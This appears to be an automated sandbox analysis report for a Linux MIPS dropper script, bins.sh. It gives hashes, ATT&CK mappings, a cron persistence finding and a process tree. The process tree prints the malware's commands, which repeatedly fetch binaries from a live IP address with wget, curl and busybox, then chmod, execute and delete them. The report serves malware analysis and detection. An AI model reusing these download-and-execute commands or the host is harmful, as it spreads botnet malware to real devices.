10e3e3e76552e191e9c880e374448c94e4d9ea8b76337345ffed3305d3b6722e

Analysis

max time kernel
149s
max time network
95s
platform
debian-9_mipsel
resource
debian9-mipsel-20240611-en
resource tags

arch:mipselimage:debian9-mipsel-20240611-enkernel:4.9.0-13-4kc-maltalocale:en-usos:debian-9-mipselsystem
submitted
25-11-2024 17:01

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General

Target

bins.sh
Size

10KB
MD5

ff11827cacbdfc494c394c5d8e7272db
SHA1

9acddf73007240f35b04f7fe4732d47cd0b04137
SHA256

10e3e3e76552e191e9c880e374448c94e4d9ea8b76337345ffed3305d3b6722e
SHA512

a045f1446bdb8160644c1e258d5a17327dc5d81b05bda3fddbe70b00007d6b63363d4b98f10a9c1fbcdf87befe5a73a543a4e0f7728feae5ad0e053384968958
SSDEEP

192:JBVtKqN2M/XoDM9VR9/9d9k9I9NGjOHBVtKq8sXU9VR9/9d9k9I9Ton:t2MfoDM9X9/9d9k9I9NG6m2U9X9/9d9y

Score

7^/10

defense_evasion discovery execution persistence privilege_escalatio

Malware Config

Signatures

File and Directory Permissions Modification 1 TTPs 5 IoCs
Adversaries may modify file or directory permissions to evade defenses.
defense_evasion

Linux and Mac File and Directory Permissions Modification
T1222.002

Processes:

chmodchmodchmodchmodchmod

pid process

809 chmod
830 chmod
743 chmod
750 chmod
785 chmod

pid	process
809	chmod
830	chmod
743	chmod
750	chmod
785	chmod

Executes dropped EXE 5 IoCs

Processes:

VaHVL2c90E23gNCWuAWrVcUYYJjIGbMlsrcd9nXhZl3yxf9bhkxC4vm1haymeJGfIkMRcMKrN2gdlVJ66pJWdlBItZr7RH3GInmOZFDlp8A0K0s4DR7RCRweb7oX3gJ3h5ACtXOKguqjRyDdX1ckoRWEycAAsKPTqROW5o7COU

ioc	pid	process
/tmp/VaHVL2c90E23gNCWuAWrVcUYYJjIGbMlsr	744	VaHVL2c90E23gNCWuAWrVcUYYJjIGbMlsr
/tmp/cd9nXhZl3yxf9bhkxC4vm1haymeJGfIkMR	751	cd9nXhZl3yxf9bhkxC4vm1haymeJGfIkMR
/tmp/cMKrN2gdlVJ66pJWdlBItZr7RH3GInmOZF	786	cMKrN2gdlVJ66pJWdlBItZr7RH3GInmOZF
/tmp/Dlp8A0K0s4DR7RCRweb7oX3gJ3h5ACtXOK	810	Dlp8A0K0s4DR7RCRweb7oX3gJ3h5ACtXOK
/tmp/guqjRyDdX1ckoRWEycAAsKPTqROW5o7COU	832	guqjRyDdX1ckoRWEycAAsKPTqROW5o7COU

Renames itself 1 IoCs

Processes:

guqjRyDdX1ckoRWEycAAsKPTqROW5o7COU

pid process

833 guqjRyDdX1ckoRWEycAAsKPTqROW5o7COU
Creates/modifies Cron job 1 TTPs 1 IoCs
Cron allows running tasks on a schedule, and is commonly used for malware persistence.
execution persistence privilege_escalatio

Cron
T1053.003

Processes:

crontab

description ioc process

File opened for modification /var/spool/cron/crontabs/tmp.XcKB9j crontab
Enumerates running processes
Discovers information about currently running processes on the system

pid	process
833	guqjRyDdX1ckoRWEycAAsKPTqROW5o7COU

description	ioc	process
File opened for modification	/var/spool/cron/crontabs/tmp.XcKB9j	crontab

Reads runtime system information 64 IoCs

Reads data from /proc virtual filesystem.

discovery

Processes:

curlcrontabguqjRyDdX1ckoRWEycAAsKPTqROW5o7COUcurlcurlcurlcrontab

description	ioc	process
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/filesystems	crontab
File opened for reading	/proc/77/cmdline	guqjRyDdX1ckoRWEycAAsKPTqROW5o7COU
File opened for reading	/proc/704/cmdline	guqjRyDdX1ckoRWEycAAsKPTqROW5o7COU
File opened for reading	/proc/852/cmdline	guqjRyDdX1ckoRWEycAAsKPTqROW5o7COU
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/7/cmdline	guqjRyDdX1ckoRWEycAAsKPTqROW5o7COU
File opened for reading	/proc/73/cmdline	guqjRyDdX1ckoRWEycAAsKPTqROW5o7COU
File opened for reading	/proc/710/cmdline	guqjRyDdX1ckoRWEycAAsKPTqROW5o7COU
File opened for reading	/proc/115/cmdline	guqjRyDdX1ckoRWEycAAsKPTqROW5o7COU
File opened for reading	/proc/6/cmdline	guqjRyDdX1ckoRWEycAAsKPTqROW5o7COU
File opened for reading	/proc/21/cmdline	guqjRyDdX1ckoRWEycAAsKPTqROW5o7COU
File opened for reading	/proc/37/cmdline	guqjRyDdX1ckoRWEycAAsKPTqROW5o7COU
File opened for reading	/proc/72/cmdline	guqjRyDdX1ckoRWEycAAsKPTqROW5o7COU
File opened for reading	/proc/20/cmdline	guqjRyDdX1ckoRWEycAAsKPTqROW5o7COU
File opened for reading	/proc/387/cmdline	guqjRyDdX1ckoRWEycAAsKPTqROW5o7COU
File opened for reading	/proc/849/cmdline	guqjRyDdX1ckoRWEycAAsKPTqROW5o7COU
File opened for reading	/proc/855/cmdline	guqjRyDdX1ckoRWEycAAsKPTqROW5o7COU
File opened for reading	/proc/4/cmdline	guqjRyDdX1ckoRWEycAAsKPTqROW5o7COU
File opened for reading	/proc/11/cmdline	guqjRyDdX1ckoRWEycAAsKPTqROW5o7COU
File opened for reading	/proc/353/cmdline	guqjRyDdX1ckoRWEycAAsKPTqROW5o7COU
File opened for reading	/proc/853/cmdline	guqjRyDdX1ckoRWEycAAsKPTqROW5o7COU
File opened for reading	/proc/75/cmdline	guqjRyDdX1ckoRWEycAAsKPTqROW5o7COU
File opened for reading	/proc/78/cmdline	guqjRyDdX1ckoRWEycAAsKPTqROW5o7COU
File opened for reading	/proc/105/cmdline	guqjRyDdX1ckoRWEycAAsKPTqROW5o7COU
File opened for reading	/proc/144/cmdline	guqjRyDdX1ckoRWEycAAsKPTqROW5o7COU
File opened for reading	/proc/8/cmdline	guqjRyDdX1ckoRWEycAAsKPTqROW5o7COU
File opened for reading	/proc/10/cmdline	guqjRyDdX1ckoRWEycAAsKPTqROW5o7COU
File opened for reading	/proc/15/cmdline	guqjRyDdX1ckoRWEycAAsKPTqROW5o7COU
File opened for reading	/proc/16/cmdline	guqjRyDdX1ckoRWEycAAsKPTqROW5o7COU
File opened for reading	/proc/858/cmdline	guqjRyDdX1ckoRWEycAAsKPTqROW5o7COU
File opened for reading	/proc/36/cmdline	guqjRyDdX1ckoRWEycAAsKPTqROW5o7COU
File opened for reading	/proc/79/cmdline	guqjRyDdX1ckoRWEycAAsKPTqROW5o7COU
File opened for reading	/proc/148/cmdline	guqjRyDdX1ckoRWEycAAsKPTqROW5o7COU
File opened for reading	/proc/672/cmdline	guqjRyDdX1ckoRWEycAAsKPTqROW5o7COU
File opened for reading	/proc/2/cmdline	guqjRyDdX1ckoRWEycAAsKPTqROW5o7COU
File opened for reading	/proc/3/cmdline	guqjRyDdX1ckoRWEycAAsKPTqROW5o7COU
File opened for reading	/proc/13/cmdline	guqjRyDdX1ckoRWEycAAsKPTqROW5o7COU
File opened for reading	/proc/24/cmdline	guqjRyDdX1ckoRWEycAAsKPTqROW5o7COU
File opened for reading	/proc/681/cmdline	guqjRyDdX1ckoRWEycAAsKPTqROW5o7COU
File opened for reading	/proc/796/cmdline	guqjRyDdX1ckoRWEycAAsKPTqROW5o7COU
File opened for reading	/proc/847/cmdline	guqjRyDdX1ckoRWEycAAsKPTqROW5o7COU
File opened for reading	/proc/850/cmdline	guqjRyDdX1ckoRWEycAAsKPTqROW5o7COU
File opened for reading	/proc/792/cmdline	guqjRyDdX1ckoRWEycAAsKPTqROW5o7COU
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/14/cmdline	guqjRyDdX1ckoRWEycAAsKPTqROW5o7COU
File opened for reading	/proc/76/cmdline	guqjRyDdX1ckoRWEycAAsKPTqROW5o7COU
File opened for reading	/proc/116/cmdline	guqjRyDdX1ckoRWEycAAsKPTqROW5o7COU
File opened for reading	/proc/716/cmdline	guqjRyDdX1ckoRWEycAAsKPTqROW5o7COU
File opened for reading	/proc/5/cmdline	guqjRyDdX1ckoRWEycAAsKPTqROW5o7COU
File opened for reading	/proc/74/cmdline	guqjRyDdX1ckoRWEycAAsKPTqROW5o7COU
File opened for reading	/proc/82/cmdline	guqjRyDdX1ckoRWEycAAsKPTqROW5o7COU
File opened for reading	/proc/166/cmdline	guqjRyDdX1ckoRWEycAAsKPTqROW5o7COU
File opened for reading	/proc/688/cmdline	guqjRyDdX1ckoRWEycAAsKPTqROW5o7COU
File opened for reading	/proc/709/cmdline	guqjRyDdX1ckoRWEycAAsKPTqROW5o7COU
File opened for reading	/proc/848/cmdline	guqjRyDdX1ckoRWEycAAsKPTqROW5o7COU
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/filesystems	crontab
File opened for reading	/proc/17/cmdline	guqjRyDdX1ckoRWEycAAsKPTqROW5o7COU
File opened for reading	/proc/377/cmdline	guqjRyDdX1ckoRWEycAAsKPTqROW5o7COU
File opened for reading	/proc/23/cmdline	guqjRyDdX1ckoRWEycAAsKPTqROW5o7COU
File opened for reading	/proc/236/cmdline	guqjRyDdX1ckoRWEycAAsKPTqROW5o7COU
File opened for reading	/proc/320/cmdline	guqjRyDdX1ckoRWEycAAsKPTqROW5o7COU
File opened for reading	/proc/19/cmdline	guqjRyDdX1ckoRWEycAAsKPTqROW5o7COU

Writes file to tmp directory 15 IoCs

Malware often drops required files in the /tmp directory.

Processes:

wgetcurlcurlwgetcurlbusyboxcurlbusyboxbusyboxbusyboxwgetwgetwgetcurlbusybox

description	ioc	process
File opened for modification	/tmp/guqjRyDdX1ckoRWEycAAsKPTqROW5o7COU	wget
File opened for modification	/tmp/VaHVL2c90E23gNCWuAWrVcUYYJjIGbMlsr	curl
File opened for modification	/tmp/cMKrN2gdlVJ66pJWdlBItZr7RH3GInmOZF	curl
File opened for modification	/tmp/Dlp8A0K0s4DR7RCRweb7oX3gJ3h5ACtXOK	wget
File opened for modification	/tmp/Dlp8A0K0s4DR7RCRweb7oX3gJ3h5ACtXOK	curl
File opened for modification	/tmp/VaHVL2c90E23gNCWuAWrVcUYYJjIGbMlsr	busybox
File opened for modification	/tmp/cd9nXhZl3yxf9bhkxC4vm1haymeJGfIkMR	curl
File opened for modification	/tmp/cd9nXhZl3yxf9bhkxC4vm1haymeJGfIkMR	busybox
File opened for modification	/tmp/cMKrN2gdlVJ66pJWdlBItZr7RH3GInmOZF	busybox
File opened for modification	/tmp/Dlp8A0K0s4DR7RCRweb7oX3gJ3h5ACtXOK	busybox
File opened for modification	/tmp/VaHVL2c90E23gNCWuAWrVcUYYJjIGbMlsr	wget
File opened for modification	/tmp/cd9nXhZl3yxf9bhkxC4vm1haymeJGfIkMR	wget
File opened for modification	/tmp/cMKrN2gdlVJ66pJWdlBItZr7RH3GInmOZF	wget
File opened for modification	/tmp/guqjRyDdX1ckoRWEycAAsKPTqROW5o7COU	curl
File opened for modification	/tmp/guqjRyDdX1ckoRWEycAAsKPTqROW5o7COU	busybox

/tmp/bins.sh
/tmp/bins.sh
1⤵
PID:712
- /bin/rm
  /bin/rm bins.sh
  2⤵
  PID:715
- /usr/bin/wget
  wget http://216.126.231.240/bins/VaHVL2c90E23gNCWuAWrVcUYYJjIGbMlsr
  2⤵
  - Writes file to tmp directory
  PID:720
- /usr/bin/curl
  curl -O http://216.126.231.240/bins/VaHVL2c90E23gNCWuAWrVcUYYJjIGbMlsr
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:740
- /bin/busybox
  /bin/busybox wget http://216.126.231.240/bins/VaHVL2c90E23gNCWuAWrVcUYYJjIGbMlsr
  2⤵
  - Writes file to tmp directory
  PID:742
- /bin/chmod
  chmod 777 VaHVL2c90E23gNCWuAWrVcUYYJjIGbMlsr
  2⤵
  - File and Directory Permissions Modification
  PID:743
- /tmp/VaHVL2c90E23gNCWuAWrVcUYYJjIGbMlsr
  ./VaHVL2c90E23gNCWuAWrVcUYYJjIGbMlsr
  2⤵
  - Executes dropped EXE
  PID:744
- /bin/rm
  rm VaHVL2c90E23gNCWuAWrVcUYYJjIGbMlsr
  2⤵
  PID:746
- /usr/bin/wget
  wget http://216.126.231.240/bins/cd9nXhZl3yxf9bhkxC4vm1haymeJGfIkMR
  2⤵
  - Writes file to tmp directory
  PID:747
- /usr/bin/curl
  curl -O http://216.126.231.240/bins/cd9nXhZl3yxf9bhkxC4vm1haymeJGfIkMR
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:748
- /bin/busybox
  /bin/busybox wget http://216.126.231.240/bins/cd9nXhZl3yxf9bhkxC4vm1haymeJGfIkMR
  2⤵
  - Writes file to tmp directory
  PID:749
- /bin/chmod
  chmod 777 cd9nXhZl3yxf9bhkxC4vm1haymeJGfIkMR
  2⤵
  - File and Directory Permissions Modification
  PID:750
- /tmp/cd9nXhZl3yxf9bhkxC4vm1haymeJGfIkMR
  ./cd9nXhZl3yxf9bhkxC4vm1haymeJGfIkMR
  2⤵
  - Executes dropped EXE
  PID:751
- /bin/rm
  rm cd9nXhZl3yxf9bhkxC4vm1haymeJGfIkMR
  2⤵
  PID:753
- /usr/bin/wget
  wget http://216.126.231.240/bins/cMKrN2gdlVJ66pJWdlBItZr7RH3GInmOZF
  2⤵
  - Writes file to tmp directory
  PID:754
- /usr/bin/curl
  curl -O http://216.126.231.240/bins/cMKrN2gdlVJ66pJWdlBItZr7RH3GInmOZF
  2⤵
  - Writes file to tmp directory
  PID:762
- /bin/busybox
  /bin/busybox wget http://216.126.231.240/bins/cMKrN2gdlVJ66pJWdlBItZr7RH3GInmOZF
  2⤵
  - Writes file to tmp directory
  PID:778
- /bin/chmod
  chmod 777 cMKrN2gdlVJ66pJWdlBItZr7RH3GInmOZF
  2⤵
  - File and Directory Permissions Modification
  PID:785
- /tmp/cMKrN2gdlVJ66pJWdlBItZr7RH3GInmOZF
  ./cMKrN2gdlVJ66pJWdlBItZr7RH3GInmOZF
  2⤵
  - Executes dropped EXE
  PID:786
- /bin/rm
  rm cMKrN2gdlVJ66pJWdlBItZr7RH3GInmOZF
  2⤵
  PID:789
- /usr/bin/wget
  wget http://216.126.231.240/bins/Dlp8A0K0s4DR7RCRweb7oX3gJ3h5ACtXOK
  2⤵
  - Writes file to tmp directory
  PID:790
- /usr/bin/curl
  curl -O http://216.126.231.240/bins/Dlp8A0K0s4DR7RCRweb7oX3gJ3h5ACtXOK
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:807
- /bin/busybox
  /bin/busybox wget http://216.126.231.240/bins/Dlp8A0K0s4DR7RCRweb7oX3gJ3h5ACtXOK
  2⤵
  - Writes file to tmp directory
  PID:808
- /bin/chmod
  chmod 777 Dlp8A0K0s4DR7RCRweb7oX3gJ3h5ACtXOK
  2⤵
  - File and Directory Permissions Modification
  PID:809
- /tmp/Dlp8A0K0s4DR7RCRweb7oX3gJ3h5ACtXOK
  ./Dlp8A0K0s4DR7RCRweb7oX3gJ3h5ACtXOK
  2⤵
  - Executes dropped EXE
  PID:810
- /bin/rm
  rm Dlp8A0K0s4DR7RCRweb7oX3gJ3h5ACtXOK
  2⤵
  PID:812
- /usr/bin/wget
  wget http://216.126.231.240/bins/guqjRyDdX1ckoRWEycAAsKPTqROW5o7COU
  2⤵
  - Writes file to tmp directory
  PID:813
- /usr/bin/curl
  curl -O http://216.126.231.240/bins/guqjRyDdX1ckoRWEycAAsKPTqROW5o7COU
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:814
- /bin/busybox
  /bin/busybox wget http://216.126.231.240/bins/guqjRyDdX1ckoRWEycAAsKPTqROW5o7COU
  2⤵
  - Writes file to tmp directory
  PID:823
- /bin/chmod
  chmod 777 guqjRyDdX1ckoRWEycAAsKPTqROW5o7COU
  2⤵
  - File and Directory Permissions Modification
  PID:830
- /tmp/guqjRyDdX1ckoRWEycAAsKPTqROW5o7COU
  ./guqjRyDdX1ckoRWEycAAsKPTqROW5o7COU
  2⤵
  - Executes dropped EXE
  - Renames itself
  - Reads runtime system information
  PID:832
- - /bin/sh
    sh -c "crontab -l"
    3⤵
    PID:834
  - - /usr/bin/crontab
      crontab -l
      4⤵
      Reads runtime system information
      PID:836
- - /bin/sh
    sh -c "crontab -"
    3⤵
    PID:838
  - - /usr/bin/crontab
      crontab -
      4⤵
      Creates/modifies Cron job
      Reads runtime system information
      PID:840
- /bin/rm
  rm guqjRyDdX1ckoRWEycAAsKPTqROW5o7COU
  2⤵
  PID:848
- /usr/bin/wget
  wget http://216.126.231.240/bins/IzLa6g8n5Y2XcCsUmbgo9RPFzontynPRGY
  2⤵
  PID:853
- /usr/bin/curl
  curl -O http://216.126.231.240/bins/IzLa6g8n5Y2XcCsUmbgo9RPFzontynPRGY
  2⤵
  PID:855

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Scheduled Task/Job

T1053

Cron

T1053.003

Persistence

Scheduled Task/Job

T1053

Cron

T1053.003

Privilege Escalation

Scheduled Task/Job

T1053

Cron

T1053.003

Defense Evasion

File and Directory Permissions Modification

T1222

Linux and Mac File and Directory Permissions Modification

T1222.002

Credential Access

Discovery

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

/tmp/Dlp8A0K0s4DR7RCRweb7oX3gJ3h5ACtXOK

Filesize
151KB

MD5
3c90d5820bddcf7c5d1bd21dfa49d958

SHA1
5ba05bd489e50af97d6dc45e3a0be60e494d5083

SHA256
bdebb67266d5f96b7d85cfb9644deee81161b54b60b0fded6cf36544a15fa9b2

SHA512
54a0e2ec10040634100fb5c4bddc35f558471f4ff833f9ad20f16ffd14c286cf251841bdaad7c557c3c78efc2094db91038c195c0ddabdecf9beac97ff2ce01a

Download Submit
/tmp/VaHVL2c90E23gNCWuAWrVcUYYJjIGbMlsr

Filesize
119KB

MD5
1b166b95f9cb4b079ef1b9ec8363ddf3

SHA1
0d8eb08add467b3b5474f9b25909297fe7c2839c

SHA256
94a19b33124cbbc1c570b3338f4dfbb2bf1a9335a72acf22be02a9bb8a323cc9

SHA512
983ae0f399df2a6cf1dd48ba09098964c5dcb55b8bd049bce8e9c2c15dd88336642da64908d93221247a64ce987950b05042b0fac8474b179f0b1f7f0aca6925

Download Submit
/tmp/cMKrN2gdlVJ66pJWdlBItZr7RH3GInmOZF

Filesize
111KB

MD5
701e7a55a4f3650f5feee92a9860e5fc

SHA1
6ce4a7f0dc80fe557a0ace4de25e6305af221ed4

SHA256
ff851250b0bd7e6f2c445b08d858d840b554caf75a37ada2a970ea4d317ba588

SHA512
7352517b4af3b0cfe1cc814accf18e6254532f33dee274279bd499b6748aa0ed044c9429d6df0eb07ff0292cd0f9388ce44d278e0c562e6e57110b28a66a5f11

Download Submit
/tmp/cd9nXhZl3yxf9bhkxC4vm1haymeJGfIkMR

Filesize
127KB

MD5
89077b7bd4bcafca7713be43635c4862

SHA1
fc02edb8fba29ea8ee99e6157ef8560334530052

SHA256
78416feab0c93152d65acc8f48835520db083cc3aed0aea622b9fb88284dc00d

SHA512
1b457b8f8d452eecaad9013241e50672befb70feb5349f5fa72d62ea1fa8affa968763e6511cc76cdc5bf12f080e4a8f10c8e141ccd0d36794e721d690f2c4b1

Download Submit
/tmp/guqjRyDdX1ckoRWEycAAsKPTqROW5o7COU

Filesize
151KB

MD5
6c583043d91c55aa470c08c87058e917

SHA1
abf65a5b9bba69980278ad09356e53de8bb89439

SHA256
2d63c81a782853efe672a1d9cb00a339ec57207b4075754a1baf1df9af466948

SHA512
82ee5f3884edc2cb3e68d8634353964cdb991e250b0592a2f80f5ffb738e64860abe6d030aec0d6ab94596c275b478080579fd65b055cc9055e1ef3de6dd59a5

Download Submit
/var/spool/cron/crontabs/tmp.XcKB9j

Filesize
210B

MD5
0361c971c8d09344000c306bdd7a710e

SHA1
696252e9cc7a31ce1e4faa96b7c1fad741de0934

SHA256
c664d7a8670a961c6a6ae8e889e256ba48e6b54cc6288aa0b33e64a65bb43a88

SHA512
d80eb234704cc059fca249eee0a489e205e62eaeaac8f33ce05f8899d3f7c2f58d8722c21ca82f52bcdd385bdaadd50c688c5f5366629ed5b2b26f240b07dc67

Download Submit